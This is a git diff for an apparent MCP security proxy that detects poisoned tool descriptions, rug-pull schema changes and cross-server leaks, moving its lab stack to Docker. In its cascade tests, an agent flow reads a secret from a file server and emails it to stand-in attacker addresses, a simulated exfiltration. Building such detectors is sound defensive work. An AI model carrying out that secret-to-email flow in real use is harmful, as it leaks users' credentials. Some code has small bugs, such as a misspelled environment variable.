diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..2fa59c3 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,9 @@ +venv/ +.git/ +__pycache__/ +*.pyc +*.db +.env +tests/ +tools/ +.github/ \ No newline at end of file diff --git a/.github/schedule-attack-simulation.yml b/.github/schedule-attack-simulation.yml index 28eb765..155a813 100644 --- a/.github/schedule-attack-simulation.yml +++ b/.github/schedule-attack-simulation.yml @@ -20,5 +20,5 @@ jobs: - name: Install dependencies run: pip install -r requirements.txt - - name: Run full attack simulation + - name: Run full attack simulation (self-contained scenarios + Docker stack) run: python tools/run_attack_simulation.py \ No newline at end of file diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 664996e..20572fd 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,59 +1,74 @@ name: CI on: - push: - branches: [develop, staging, main] - pull_request: - branches: [develop, staging, main] + push: + branches: [develop, staging, main] + pull_request: + branches: [develop, staging, main] jobs: - test: - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v4 - - - name: Set up Python - uses: actions/setup-python@v5 - with: - python-version: "3.12" - - - name: Install dependencies - run: | - pip install -r requirements.txt - - - name: Lint - run: ruff check . --output-format=github - - - name: Run smoke test (direct to vulnerable server) - run: python tests/smoke_test.py - - - name: Run end-to-end proxy test - env: - WATCHTOWER_CI_AUTO_APPROVE: "true" - run: python tests/test_proxy_e2e.py - - - name: Run rug-pull schema-change test - env: - WATCHTOWER_CI_AUTO_APPROVE: "true" - run: python tests/test_rugpull_schema.py - - - name: Run cascade detection test - env: - WATCHTOWER_CI_AUTO_APPROVE: "true" - run: python tests/test_cascade.py - - name: Verify detection actually fired (fail build if not) - run: | - python -c " - import sqlite3 - conn = sqlite3.connect('proxy/watchtower.db') - flagged_calls = conn.execute('SELECT COUNT(*) FROM calls WHERE flags IS NOT NULL').fetchone()[0] - desc_findings = conn.execute('SELECT COUNT(*) FROM description_findings').fetchone()[0] - rug_pulls = conn.execute(\"SELECT COUNT(*) FROM tool_fingerprints WHERE last_flag = 'rug_pull'\").fetchone()[0] - cascade_findings = conn.execute('SELECT COUNT(*) FROM cascade_findings').fetchone()[0] - assert flagged_calls > 0, 'expected at least one flagged call, found none' - assert desc_findings > 0, 'expected at least one description finding, found none' - assert rug_pulls > 0, 'expected at least one rug-pull detection, found none' - assert cascade_findings > 0, 'expected at least one cascade finding, found none' - print(f'OK: {flagged_calls} flagged calls, {desc_findings} description findings, {rug_pulls} rug pulls, {cascade_findings} cascade findings') - " \ No newline at end of file + test: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install dependencies + run: | + pip install -r requirements.txt + + - name: Lint + run: ruff check . --output-format=github + + - name: Run smoke test (self-contained, no Docker) + run: python tests/smoke_test.py + + - name: Run proxy end-to-end test (self-contained, no Docker) + run: python tests/test_proxy_e2e.py + + - name: Run rug-pull schema-change + reconnect test (self-contained, no Docker) + run: python tests/test_rugpull_schema.py + + - name: Verify detection actually fired (fail build if not) + run: | + python -c " + import sqlite3 + conn = sqlite3.connect('proxy/watchtower.db') + flagged_calls = conn.execute('SELECT COUNT(*) FROM calls WHERE flags IS NOT NULL').fetchone()[0] + desc_findings = conn.execute('SELECT COUNT(*) FROM description_findings').fetchone()[0] + rug_pulls = conn.execute(\"SELECT COUNT(*) FROM tool_fingerprints WHERE last_flag = 'rug_pull'\").fetchone()[0] + assert flagged_calls > 0, 'expected at least one flagged call, found none' + assert desc_findings > 0, 'expected at least one description finding, found none' + assert rug_pulls > 0, 'expected at least one rug-pull detection, found none' + print(f'OK: {flagged_calls} flagged calls, {desc_findings} description findings, {rug_pulls} rug pulls') + " + + - name: Bring up full Docker Compose stack + run: docker compose up --build -d + + - name: Wait for proxy to be reachable + run: | + for i in $(seq 1 30); do + if curl -s -o /dev/null http://localhost:8000/mcp; then + echo "proxy is up" + break + fi + echo "waiting for proxy... ($i/30)" + sleep 1 + done + + - name: Run full Docker stack test + run: python tests/test_docker_stack.py + + - name: Dump proxy logs (always, useful for debugging failures) + if: always() + run: docker compose logs proxy + + - name: Tear down Docker Compose stack + if: always() + run: docker compose down \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..b528536 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,16 @@ +# Single shared image for all three Watchtower services (proxy, filesrv, +# mailsrv). They have identical Python dependencies, so one image built +# once and reused with a different CMD per service is simpler to maintain +# than three near-identical Dockerfiles, and keeps the dependency layer +# cached across all three in Compose. + +FROM python:3.12-slim + +WORKDIR /app + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY vulnerable-server/ ./vulnerable-server/ +COPY lab-server-b/ ./lab-server-b/ +COPY proxy/ ./proxy/ \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..234e9ea --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,53 @@ +# Brings up the whole Watchtower stack with one command: filesrv, mailsrv, +# and the proxy, all talking to each other over a private Docker network +# using service names as hostnames (Compose's built-in DNS) instead of +# localhost/127.0.0.1, which only works because they're on the same +# machine today. +# +# Usage: +# docker compose up --build +# docker compose down (stop everything) +# docker compose logs -f proxy (tail just the proxy's logs) + +services: + filesrv: + build: . + command: python vulnerable-server/server.py + environment: + HOST: "0.0.0.0" + PORT: "8001" + WATCHTOWER_VARIAT: "clean" + networks: + - watchtower-net + + mailsrv: + build: . + command: python lab-server-b/mailserver.py + environment: + HOST: "0.0.0.0" + PORT: "8002" + networks: + - watchtower-net + + proxy: + build: . + command: python proxy/proxy.py + environment: + HOST: "0.0.0.0" + PORT: "8000" + WATCHTOWER_DB_PATH: "/app/data/watchtower.db" + ports: + - "8000:8000" + volumes: + - watchtower-db:/app/data + depends_on: + - filesrv + - mailsrv + networks: + - watchtower-net + +networks: + watchtower-net: + +volumes: + watchtower-db: \ No newline at end of file diff --git a/lab-server-b/mailserver.py b/lab-server-b/mailserver.py index b0237aa..3e559c6 100644 --- a/lab-server-b/mailserver.py +++ b/lab-server-b/mailserver.py @@ -1,25 +1,23 @@ """ -Watchtower Lab Target B: "internal mail server" MCP server. - -Paired with vulnerable-server/server.py (which plays the role of a "file -server" with a secret-returning tool) to give us a cross-server -boundary to test cascade detection against: something reads a secret from -one server, something else sends it out via a completely different server. - -Nothing here is malicious on its own. The risk only exists in the combination: -secret-from-server-A landing in the body of a call to server-B. +Watchtower Lab Target B: a simple "internal mail server" MCP server. +Runs over streamable-http so it can live in its own container, +independently of the proxy and filesrv. """ +import os + from mcp.server.fastmcp import FastMCP -mcp = FastMCP("watchtower-labl-target-b") +mcp = FastMCP( + "watchtower-lab-target-b", + host=os.environ.get("HOST", "127.0.0.1"), + port=int(os.environ.get("PORT", "8002")), +) @mcp.tool() def send_email(to: str, subject: str, body: str) -> str: - """ - Send an email to the given address with the given subject and body. - """ - return f"Email sent to {to} (subject: {subject!r}, {len(body)} chars in body)." + """Send an email on behalf of the user.""" + return f"Email sent to {to} (subejct: {subject!r}, {len(body)} chars in body)." if __name__ == "__main__": - mcp.run(transport="stdio") \ No newline at end of file + mcp.run(transport="streamable-http") \ No newline at end of file diff --git a/proxy/proxy.py b/proxy/proxy.py index 0bef032..5dfb7e6 100644 --- a/proxy/proxy.py +++ b/proxy/proxy.py @@ -1,30 +1,20 @@ -""" -Watchtower proxy -- multi-server aggregator. - -Connects to multiple upstream MCP servers, merge their tools into -one list, and routes each call to the right backend. Every call from -every server funnels through this one process, which is what makes -cross-server cascade detection possible. - -Usage: - python proxy.py -- python ../vulnerable-server/server.py -""" import asyncio import os import sys -from contextlib import AsyncExitStack from pathlib import Path import anyio +import uvicorn import yaml from cascade import check_for_cascade, record_output from detectors import scan_text -from mcp import ClientSession, StdioServerParameters, types -from mcp.client.stdio import stdio_client +from mcp import types from mcp.server.lowlevel import Server -from mcp.server.stdio import stdio_server +from mcp.server.streamable_http_manager import StreamableHTTPSessionManager from policy import get_action, load_policy from slack_notifier import send_slack_message +from starlette.applications import Starlette +from starlette.routing import Route from storage import ( check_and_update_fingerprint, create_pending_approval, @@ -35,36 +25,42 @@ log_description_findings, set_approval_decision, ) +from upstream_connection import UpstreamConnection -SERVERS_CONFIG_PATH = Path(__file__).parent / "servers.yaml" +SERVERS_CONFIG_PATH = Path(os.environ.get("WATCHTOWER_SERVERS_CONFIG", str(Path(__file__).parent / "servers.yaml"))) PREFIX_SEP = "__" proxy = Server("mcp-watchtower-proxy") -_upstreams: dict[str, ClientSession] = {} +# server_name -> UpstreamConnection (each manages its own reconnect logic) +_upstreams: dict[str, UpstreamConnection] = {} +# prefixed_tool_name -> (server_name, original_tool_name) _tool_routes: dict[str, tuple[str, str]] = {} _policy: dict = {} APPROVAL_POLL_INTERVAL_SECONDS = 2 -APPROVAL_TIMEOUT_SECONDS = int(os.environ.get("APPROVAL_TIMEOUT_SECONDS", "300")) # default: 5 minutes +APPROVAL_TIMEOUT_SECONDS = int(os.environ.get("WATCHTOWER_APPROVAL_TIMEOUT", "300")) + def _alert(message: str) -> None: print(f"\n[WATCHTOWER ALERT] {message}\n", file=sys.stderr, flush=True) send_slack_message(f":rotating_light: *Watchtower* {message}") + def _denied_result(message: str) -> types.CallToolResult: return types.CallToolResult( content=[types.TextContent(type="text", text=f"[Watchtower] Blocked: {message}")], isError=True, ) + @proxy.list_tools() async def handle_list_tools() -> list[types.Tool]: merged: list[types.Tool] = [] _tool_routes.clear() - for server_name, session in _upstreams.items(): - result = await session.list_tools() + for server_name, conn in _upstreams.items(): + result = await conn.call(lambda s: s.list_tools()) for tool in result.tools: prefixed_name = f"{server_name}{PREFIX_SEP}{tool.name}" description = tool.description or "" @@ -87,6 +83,7 @@ async def handle_list_tools() -> list[types.Tool]: return merged + async def _wait_for_approval(approval_id: int, tool_name: str) -> bool: if os.environ.get("WATCHTOWER_CI_AUTO_APPROVE") == "true": _alert(f"[TEST MODE] auto-approving #{approval_id} for '{tool_name}'") @@ -98,20 +95,25 @@ async def _wait_for_approval(approval_id: int, tool_name: str) -> bool: status = get_approval_status(approval_id) if status == "approved": return True - elif status == "denied": + if status == "denied": return False await asyncio.sleep(APPROVAL_POLL_INTERVAL_SECONDS) elapsed += APPROVAL_POLL_INTERVAL_SECONDS - _alert(f"Approval request #{approval_id} for '{tool_name}' timed out after {APPROVAL_TIMEOUT_SECONDS} seconds. Denying by default.") + _alert(f"Approval request #{approval_id} for '{tool_name}' timed out -- denying by default.") return False + @proxy.call_tool() async def handle_call_tool(name: str, arguments: dict) -> types.CallToolResult: if name not in _tool_routes: - return _denied_result(f"Tool '{name}' not in any connected server's tool list.") + return _denied_result(f"unknown tool '{name}' -- not in any connected server's tool list") server_name, original_name = _tool_routes[name] + + # Policy is matched on the ORIGINAL (unprefixed) tool name, so existing + # policy.yaml rules keep working unchanged regardless of which server + # a tool happens to live on. action, reason = get_action(original_name, _policy) if action == "deny": @@ -127,7 +129,7 @@ async def handle_call_tool(name: str, arguments: dict) -> types.CallToolResult: ) approved = await _wait_for_approval(approval_id, name) if not approved: - return _denied_result(f"tool '{name}' call denied by approval process.") + return _denied_result(f"tool '{name}' approval #{approval_id} was denied or timed out") cascade = check_for_cascade(server_name, original_name, arguments) if cascade: @@ -142,8 +144,8 @@ async def handle_call_tool(name: str, arguments: dict) -> types.CallToolResult: cascade["dest_server"], cascade["dest_tool"], cascade["matched_value"], ) - session = _upstreams[server_name] - result = await session.call_tool(original_name, arguments) + conn = _upstreams[server_name] + result = await conn.call(lambda s: s.call_tool(original_name, arguments)) response_text = "\n".join( block.text for block in result.content if isinstance(block, types.TextContent) @@ -162,33 +164,57 @@ async def handle_call_tool(name: str, arguments: dict) -> types.CallToolResult: return result + +class _MCPASGIApp: + """Thin ASGI wrapper delegating every request to the MCP session + manager. Kept as an explicit class (mirroring the pattern FastMCP + itself uses internally) rather than a bare function, since Starlette's + Route needs a real 3-arg ASGI callable, not a typical request handler. + """ + + def __init__(self, session_manager: StreamableHTTPSessionManager) -> None: + self.session_manager = session_manager + + async def __call__(self, scope, receive, send) -> None: + await self.session_manager.handle_request(scope, receive, send) + + def _load_servers_config() -> dict: with open(SERVERS_CONFIG_PATH) as f: return yaml.safe_load(f) + async def main(config: dict) -> None: init_db() global _policy _policy = load_policy() - async with AsyncExitStack() as stack: - for server_cfg in config["servers"]: - script_path = (SERVERS_CONFIG_PATH.parent /server_cfg["script"]).resolve() - params = StdioServerParameters(command=sys.executable, args=[str(script_path)], env=dict(os.environ)) - read, write = await stack.enter_async_context(stdio_client(params)) - session = await stack.enter_async_context(ClientSession(read, write)) - await session.initialize() - _upstreams[server_cfg["name"]] = session - print(f"[watchtower] connected to upstream '{server_cfg['name']}'", file=sys.stderr) - - async with stdio_server() as (proxy_read, proxy_write): - await proxy.run( - proxy_read, - proxy_write, - proxy.create_initialization_options(), - ) + for server_cfg in config["servers"]: + conn = UpstreamConnection(server_cfg["name"], server_cfg["url"]) + _upstreams[server_cfg["name"]] = conn + + session_manager = StreamableHTTPSessionManager(app=proxy, stateless=False) + mcp_asgi_app = _MCPASGIApp(session_manager) + + starlette_app = Starlette( + routes=[Route("/mcp", endpoint=mcp_asgi_app)], + lifespan=lambda app: session_manager.run(), + ) + + host = os.environ.get("HOST", "127.0.0.1") + port = int(os.environ.get("PORT", "8000")) + uvicorn_config = uvicorn.Config(starlette_app, host=host, port=port, log_level="info") + uv_server = uvicorn.Server(uvicorn_config) + + async with anyio.create_task_group() as tg: + for conn in _upstreams.values(): + tg.start_soon(conn.run_supervisor) + + print(f"[watchtower] proxy listening on http://{host}:{port}/mcp", file=sys.stderr) + await uv_server.serve() + tg.cancel_scope.cancel() if __name__ == "__main__": - config = _load_servers_config() - anyio.run(main, config) \ No newline at end of file + server_config = _load_servers_config() + anyio.run(main, server_config) \ No newline at end of file diff --git a/proxy/servers.yaml b/proxy/servers.yaml index bbbcd2b..88563eb 100644 --- a/proxy/servers.yaml +++ b/proxy/servers.yaml @@ -4,6 +4,6 @@ # project. servers: - name: filesrv - script: ../vulnerable-server/server.py + url: http://filesrv:8001/mcp - name: mailsrv - script: ../lab-server-b/mailserver.py \ No newline at end of file + url: http://mailsrv:8002/mcp \ No newline at end of file diff --git a/proxy/storage.py b/proxy/storage.py index f6fce13..df896c1 100644 --- a/proxy/storage.py +++ b/proxy/storage.py @@ -3,14 +3,14 @@ Postgres later since everything goes through these functions, not raw SQL scattered through proxy.py. """ - import hashlib import json +import os import sqlite3 import time from pathlib import Path -DB_PATH = Path(__file__).parent / "watchtower.db" +DB_PATH = Path(os.environ.get("WATCHTOWER_DB_PATH", str(Path(__file__).parent / "watchtower.db"))) def get_conn() -> sqlite3.Connection: diff --git a/proxy/upstream_connection.py b/proxy/upstream_connection.py new file mode 100644 index 0000000..bb097f8 --- /dev/null +++ b/proxy/upstream_connection.py @@ -0,0 +1,74 @@ +""" +Wraps a single upstream MCP connection with automatic reconnect. Each +upstream (filesrv, mailsrv, ...) gets its own instance, managed +independently -- one server dropping and reconnecting never affects the +others or requires restarting the whole proxy. +""" + +import sys +from contextlib import AsyncExitStack + +import anyio +from mcp import ClientSession +from mcp.client.streamable_http import streamablehttp_client + + +class UpstreamConnection: + def __init__(self, name: str, url: str) -> None: + self.name = name + self.url = url + self.session: ClientSession | None = None + self._stack: AsyncExitStack | None = None + + def mark_broken(self) -> None: + """ + Called from request-handling code when a call to this + upstream fails. Never touches the connection directly, + just signals the supervisor task. + """ + self.session = None + self._reconnect_needed.set() + + async def run_supervisor(self) -> None: + """ + Runs for the whole lifetime of the proxy, on one task, + spawned once from main(). Owns the entire lifecycle. + """ + backoff = 1.0 + while True: + try: + async with ( + streamablehttp_client(self.url) as (read, write, _get_session_id), + ClientSession(read, write) as session, + ): + await session.initialize() + self.session = session + backoff = 1.0 + print(f"[watchtower] connected to upstream '{self.name}' at {self.url}", file=sys.stderr) + + self._reconnect_needed = anyio.Event() + await self._reconnect_needed.wait() + print(f"[watchtower] tearing down connection to '{self.name}' to reconnect...", file=sys.stderr) + except Exception as e: # noqa: BLE001 + self.session = None + print( + f"[watchtower] connection to '{self.name}' failed ({e}). Retrying in {backoff:.1f}s...", + file=sys.stderr, + ) + await anyio.sleep(backoff) + backoff = min(backoff * 2, 30) + + async def call(self, fn): + for _ in range(50): # ~5s total at 0.1s each + if self.session is not None: + break + await anyio.sleep(0.1) + else: + raise RuntimeError(f"upstream '{self.name}' is not connected") + + try: + return await fn(self.session) + except Exception: + print(f"[watchtower] call to upstream '{self.name}' failed, marking broken for reconnect", file=sys.stderr) + self.mark_broken() + raise \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index edeb80d..3c07b00 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,6 @@ mcp==1.28.1 anyio>=4.0 ruff>=0.6 -pyyaml>=6.0 \ No newline at end of file +pyyaml>=6.0 +uvicorn>=0.34 +starlette>=0.40 \ No newline at end of file diff --git a/tests/smoke_test.py b/tests/smoke_test.py index 88ea1b6..8291635 100644 --- a/tests/smoke_test.py +++ b/tests/smoke_test.py @@ -1,42 +1,83 @@ import asyncio +import os import sys +import time +from pathlib import Path -from mcp import ClientSession, StdioServerParameters -from mcp.client.stdio import stdio_client +from mcp import ClientSession +from mcp.client.streamable_http import streamablehttp_client + +REPO_ROOT = Path(__file__).parent.parent +SERVER_URL = "http://127.0.0.1:8001/mcp" + + +async def wait_for_server(url: str, timeout: float = 10.0) -> None: + """Poll until the server accepts a real MCP connection, or give up.""" + deadline = time.time() + timeout + last_error = None + while time.time() < deadline: + try: + async with ( + streamablehttp_client(url) as (read, write, _), + ClientSession(read, write) as session, + ): + await session.initialize() + return + except Exception as e: # noqa: BLE001 -- intentionally broad: any connection failure just means "not up yet" + last_error = e + await asyncio.sleep(0.3) + raise RuntimeError(f"Server at {url} never came up: {last_error}") async def main(): - server_params = StdioServerParameters( - command=sys.executable, - args=["vulnerable-server/server.py"], + env = os.environ.copy() + env["HOST"] = "127.0.0.1" + env["PORT"] = "8001" + env["WATCHTOWER_VARIANT"] = "clean" + + proc = await asyncio.create_subprocess_exec( + sys.executable, + str(REPO_ROOT / "vulnerable-server" / "server.py"), + env=env, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, ) - async with ( - stdio_client(server_params) as (read, write), - ClientSession(read, write) as session, - ): - await session.initialize() - - tools = await session.list_tools() - print("=== Tools discovered ===") - for t in tools.tools: - print(f"- {t.name}: {t.description!r}") - print() - - print("=== Call 1: get_weather (baseline, should be clean) ===") - r = await session.call_tool("get_weather", {"city": "Manatí"}) - print(r.content[0].text) - print() - - print("=== Call 2: get_compliance_status (tool poisoning check) ===") - r = await session.call_tool("get_compliance_status", {"vendor_id": "V-042"}) - print(r.content[0].text) - print() - - print("=== Calls 3-7: lookup_user x5 (watch for the rug pull at call 4) ===") - for i in range(5): - r = await session.call_tool("lookup_user", {"username": "jdoe"}) - print(f" call #{i+1}: {r.content[0].text}") + try: + await wait_for_server(SERVER_URL) + + async with ( + streamablehttp_client(SERVER_URL) as (read, write, _), + ClientSession(read, write) as session, + ): + await session.initialize() + + tools = await session.list_tools() + print("=== Tools discovered ===") + for t in tools.tools: + print(f"- {t.name}: {t.description!r}") + print() + + print("=== Call 1: get_weather (baseline, should be clean) ===") + r = await session.call_tool("get_weather", {"city": "Manatí"}) + print(r.content[0].text) + print() + + print("=== Call 2: get_compliance_status (tool poisoning check) ===") + r = await session.call_tool("get_compliance_status", {"vendor_id": "V-042"}) + print(r.content[0].text) + print() + + print("=== Calls 3-7: lookup_user x5 (watch for the rug pull at call 4) ===") + for i in range(5): + r = await session.call_tool("lookup_user", {"username": "jdoe"}) + print(f" call #{i + 1}: {r.content[0].text}") + finally: + proc.terminate() + try: + await asyncio.wait_for(proc.wait(), timeout=5) + except TimeoutError: + proc.kill() if __name__ == "__main__": diff --git a/tests/test_cascade.py b/tests/test_cascade.py deleted file mode 100644 index 290246a..0000000 --- a/tests/test_cascade.py +++ /dev/null @@ -1,53 +0,0 @@ -""" -Proves cascade detection catches data flowing from one server's tool -output into another serve's tool input and proves it does not fire on -unrelated, legitimate cross-server usage. -""" - -import asyncio -import sys -from pathlib import Path - -from mcp import ClientSession, StdioServerParameters -from mcp.client.stdio import stdio_client - -REPO_ROOT = Path(__file__).parent.parent - -async def main(): - server_params = StdioServerParameters( - command=sys.executable, - args=["proxy.py"], - cwd=str(REPO_ROOT / "proxy"), - ) - - async with ( - stdio_client(server_params) as (read, write), - ClientSession(read, write) as session, - ): - await session.initialize() - await session.list_tools() - - print("=== Step 1: read a secret from filesrv (expect no alert) ===") - r = await session.call_tool("filesrv__read_secret_file", {"path": "/secrets/api.txt"}) - secret = r.content[0].text - print(f" secret value: {secret!r}") - print() - - print("=== Step 2: NEGATIVE CASE -- unrelated email via mailsrv (expect NO cascade alert) ===") - r = await session.call_tool( - "mailsrv__send_email", - {"to": "team@example.com", "subject": "lunch", "body": "anyone up for tacos today?"}, - ) - print(f" {r.content[0].text}") - print() - - print("=== Step 3: POSITIVE CASE -- send that same secret via mailsrv (expect CASCADE ALERT) ===") - r = await session.call_tool( - "mailsrv__send_email", - {"to": "attacker@evil.example", "subject": "here you go", "body": f"as requested: {secret}"}, - ) - print(f" {r.content[0].text}") - - -if __name__ == "__main__": - asyncio.run(main()) \ No newline at end of file diff --git a/tests/test_docker_stack.py b/tests/test_docker_stack.py new file mode 100644 index 0000000..759f568 --- /dev/null +++ b/tests/test_docker_stack.py @@ -0,0 +1,56 @@ +import asyncio + +from mcp import ClientSession +from mcp.client.streamable_http import streamable_http_client + +PROXY_URL = "http://localhost:8000/mcp" + +async def main(): + async with ( + streamable_http_client(PROXY_URL) as (read, write, _), + ClientSession(read, write) as session, + ): + await session.initialize() + + print("=== list_tools ===") + tools = await session.list_tools() + names = [t.name for t in tools.tools] + print(names) + assert "filesrv__read_secret_file" in names + assert "mailsrv__send_email" in names + print("OK: tools from both containers persent\n") + + print("=== Static poisoning check (filesrv__get_compliance_status) ===") + assert "filesrv__get_compliance_status" in names + print("OK: poisoned tool present in list (check proxy container logs for the alert)\n") + + print("=== Cascade: read a secret from filesrv ===") + r = await session.call_tool("filesrv__read_secret_file", {"path": "/x"}) + secret = r.content[0].text + print(f" secret: {secret!r}") + assert "API_KEY" in secret + print() + + print("=== Cascade Negative case: unrelated email via mailsrv ===") + r = await session.call_tool( + "mailsrv__send_email", + {"to": "team@example.com", "subject": "lunch", "body": "tacos today?"}, + ) + print(f" {r.content[0].text}") + print() + + print("=== Cascade Positive case: leak that secret via mailsrv ===") + r = await session.call_tool( + "mailsrv__send_email", + {"to": "evil@example.com", "subject": "leak", "body": f"here: {secret}"}, + ) + print(f" {r.content[0].text}") + print() + + print("ALL CHECKS PASSED -- check `docker compose logs proxy` for the") + print("SUSPICIOUS TOOL DESCRIPTION and CASCADE ALERT lines to confirm") + print("detection actually fired, not just that the calls succeeded.") + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/tests/test_multi_server_routing.py b/tests/test_multi_server_routing.py deleted file mode 100644 index 432eaa3..0000000 --- a/tests/test_multi_server_routing.py +++ /dev/null @@ -1,61 +0,0 @@ -""" -Proves the multi-server plumbing works BEFORE we build the cascade detector -on top of it: connects to the proxy (which internally aggregates both -filesrv and mailsrv per servers.yaml), confirms tools from both servers -show up correctly prefixed, and confirms calling a tool routes to the -right backend server and gets a real response back. -""" - -import asyncio -import sys -from pathlib import Path - -from mcp import ClientSession, StdioServerParameters -from mcp.client.stdio import stdio_client - -REPO_ROOT = Path(__file__).parent.parent - -async def main(): - server_params = StdioServerParameters( - command=sys.executable, - args=["proxy.py"], - cwd=str(REPO_ROOT / "proxy"), - ) - - async with ( - stdio_client(server_params) as (read, write), - ClientSession(read, write) as session, - ): - await session.initialize() - - print("=== list_tools (expect tools from BOTH filesrv and mailsrv) ===") - tools = await session.list_tools() - names = [t.name for t in tools.tools] - for n in names: - print(f"- {n}") - print() - - assert any(n.startswith("filesrv__") for n in names), "no filesrv tools found!" - assert any(n.startswith("mailsrv__") for n in names), "no mailsrv tools found!" - print("OK: tools from both servers present\n") - - print("=== Call filesrv__get_weather (should route to filesrv) ===") - r = await session.call_tool("filesrv__get_weather", {"city": "Manatí"}) - print(r.content[0].text) - assert "sunny" in r.content[0].text.lower() - print() - - print("=== Call mailsrv__send_email (should route to mailsrv) ===") - r = await session.call_tool( - "mailsrv__send_email", - {"to": "test@example.com", "subject": "hello", "body": "just a routing test"}, - ) - print(r.content[0].text) - assert "email sent" in r.content[0].text.lower() - print() - - print("ALL ROUTING CHECKS PASSED") - - -if __name__ == "__main__": - asyncio.run(main()) \ No newline at end of file diff --git a/tests/test_proxy_e2e.py b/tests/test_proxy_e2e.py index 90f976a..7f14672 100644 --- a/tests/test_proxy_e2e.py +++ b/tests/test_proxy_e2e.py @@ -1,39 +1,110 @@ import asyncio import os import sys +import tempfile +import time from pathlib import Path -from mcp import ClientSession, StdioServerParameters -from mcp.client.stdio import stdio_client +from mcp import ClientSession +from mcp.client.streamable_http import streamablehttp_client REPO_ROOT = Path(__file__).parent.parent +FILESRV_URL = "http://127.0.0.1:8001/mcp" +PROXY_URL = "http://127.0.0.1:8000/mcp" +LOCAL_SERVERS_YAML = """ +servers: + - name: filesrv + url: http://127.0.0.1:8001/mcp +""" + +async def wait_for_url(url: str, timeout: float = 15.0) -> None: + from urllib.parse import urlparse + + parsed = urlparse(url) + host, port = parsed.hostname, parsed.port + + deadline = time.time() + timeout + last_error = None + while time.time() < deadline: + try: + _reader, writer = await asyncio.open_connection(host, port) + writer.close() + await writer.wait_closed() + return + except OSError as e: + last_error = e + await asyncio.sleep(0.3) + raise RuntimeError(f"{url} never came up: {last_error}") async def main(): - server_params = StdioServerParameters( - command=sys.executable, - args=["proxy.py"], + filesrv_env = os.environ.copy() + filesrv_env["HOST"] = "127.0.0.1" + filesrv_env["PORT"] = "8001" + filesrv_env["WATCHTOWER_VARIANT"] = "clean" + + filesrv_proc = await asyncio.create_subprocess_exec( + sys.executable, + str(REPO_ROOT / "vulnerable-server" / "server.py"), + env=filesrv_env, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, + ) + + with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f: + f.write(LOCAL_SERVERS_YAML) + servers_config_path = f.name + + proxy_env = os.environ.copy() + proxy_env["HOST"] = "127.0.0.1" + proxy_env["PORT"] = "8000" + proxy_env["WATCHTOWER_CI_AUTO_APPROVE"] = "true" + proxy_env["WATCHTOWER_SERVERS_CONFIG"] = servers_config_path + proxy_env["WATCHTOWER_DB_PATH"] = str(REPO_ROOT / "proxy" / "watchtower.db") + + proxy_proc = await asyncio.create_subprocess_exec( + sys.executable, + str(REPO_ROOT / "proxy" / "proxy.py"), cwd=str(REPO_ROOT / "proxy"), - env=dict(os.environ), + env=proxy_env, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, ) - async with ( - stdio_client(server_params) as (read, write), - ClientSession(read, write) as session, - ): - await session.initialize() + try: + await wait_for_url(FILESRV_URL) + await wait_for_url(PROXY_URL) + + async with ( + streamablehttp_client(PROXY_URL) as (read, write, _), + ClientSession(read, write) as session, + ): + await session.initialize() + + print("=== list_tools (expect a suspicious tool description alert in proxy output) ===") + tools = await session.list_tools() + for t in tools.tools: + print(f"- {t.name}") + print() + + print("=== lookup_user x5 (expect alerts to start at call #4) ===") + for i in range(5): + r = await session.call_tool("filesrv__lookup_user", {"username": "jdoe"}) + print(f" call #{i + 1}: {r.content[0].text}") - print("=== list_tools (expect a SUSPICIOUS TOOL DESCRIPTION alert on stderr) ===") - tools = await session.list_tools() - for t in tools.tools: - print(f"- {t.name}") - print() + finally: + for proc in (proxy_proc, filesrv_proc): + proc.terminate() + try: + await asyncio.wait_for(proc.wait(), timeout=5) + except TimeoutError: + proc.kill() - print("=== lookup_user x5 (expect alerts to start at call #4) ===") - for i in range(5): - r = await session.call_tool("filesrv__lookup_user", {"username": "jdoe"}) - print(f" call #{i+1}: {r.content[0].text}") + proxy_output = (await proxy_proc.stdout.read()).decode(errors="replace") if proxy_proc.stdout else "" + print("\n=== proxy output ===") + print(proxy_output) + Path(servers_config_path).unlink(missing_ok=True) if __name__ == "__main__": asyncio.run(main()) \ No newline at end of file diff --git a/tests/test_rugpull_schema.py b/tests/test_rugpull_schema.py index 0cce388..6a90d6b 100644 --- a/tests/test_rugpull_schema.py +++ b/tests/test_rugpull_schema.py @@ -1,53 +1,148 @@ """ -Proves the fingerprint-diff rug-pull detector actually fires on a real -schema/description change -- not just the runtime-response injection we've -already tested. Connects to the lab server through the proxy TWICE, in two -separate processes, with WATCHTOWER_VARIANT flipped between them. This -models an agent reconnecting to the same MCP server after a redeploy -silently changed a tool's description. - -Uses the SAME watchtower.db across both runs (default location), since -that's the realistic scenario: the proxy remembers what it saw last time. +Proves the fingerprint-diff rug-pull detector fires on a real schema/ +description change. """ import asyncio import os import sys +import tempfile +import time from pathlib import Path -from mcp import ClientSession, StdioServerParameters -from mcp.client.stdio import stdio_client +from mcp import ClientSession +from mcp.client.streamable_http import streamablehttp_client REPO_ROOT = Path(__file__).parent.parent +FILESRV_URL = "http://127.0.0.1:8001/mcp" +PROXY_URL = "http://127.0.0.1:8000/mcp" -async def connect_and_list(variant: str): +LOCAL_SERVERS_YAML = """ +servers: + - name: filesrv + url: http://127.0.0.1:8001/mcp +""" + +async def wait_for_url(url: str, timeout: float = 15.0) -> None: + from urllib.parse import urlparse + + parsed = urlparse(url) + host, 